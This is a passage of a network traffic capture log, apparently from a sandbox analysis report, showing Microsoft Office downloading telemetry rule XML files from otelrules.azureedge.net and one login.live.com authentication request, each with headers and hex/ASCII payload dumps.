2024-11-16 12:01:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 04602d1e-901e-00ac-286c-37b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120133Z-164f84587bf6n6jwhC1DFW90fn00000001vg00000000d6k4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:33 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:33 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120133Z-16547b76f7fd4rc5hC1DFWkzhw000000034g000000001ust x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d2131438-301e-006e-59dc-37f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120133Z-164f84587bfghdt4hC1DFWu5nn00000002kg000000004x0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49794	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 12:01:34 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 12:01:34 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 12:00:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 2239d332-8680-4e75-aee7-d00424399cd8 PPServer: PPV: 30 H: SN1PEPF0002FA97 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 12:01:33 GMT Connection: close Content-Length: 1276
2024-11-16 12:01:34 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:34 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 608c19dc-201e-005d-1a7c-37afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120134Z-164f84587bfm8kdnhC1DFWey4g00000002x00000000043tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:34 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120134Z-16547b76f7fgvq8chC1DFWhd2w000000037g00000000cxkr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120134Z-164f84587bf28gjzhC1DFW35kg00000002ng00000000aaqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:34 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0ff73494-201e-0085-1d7b-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120134Z-164f84587bfs5tz9hC1DFW9a3w00000002xg0000000021aw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:34 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120134Z-16547b76f7fljddfhC1DFWeqbs00000003pg000000001tru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:35 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49f8120e-101e-0046-25ca-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120135Z-164f84587bftbpb6hC1DFWm4kg00000001kg00000000467y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:35 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120135Z-16547b76f7fmcv27hC1DFWgpcg00000001eg00000000c5ns x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
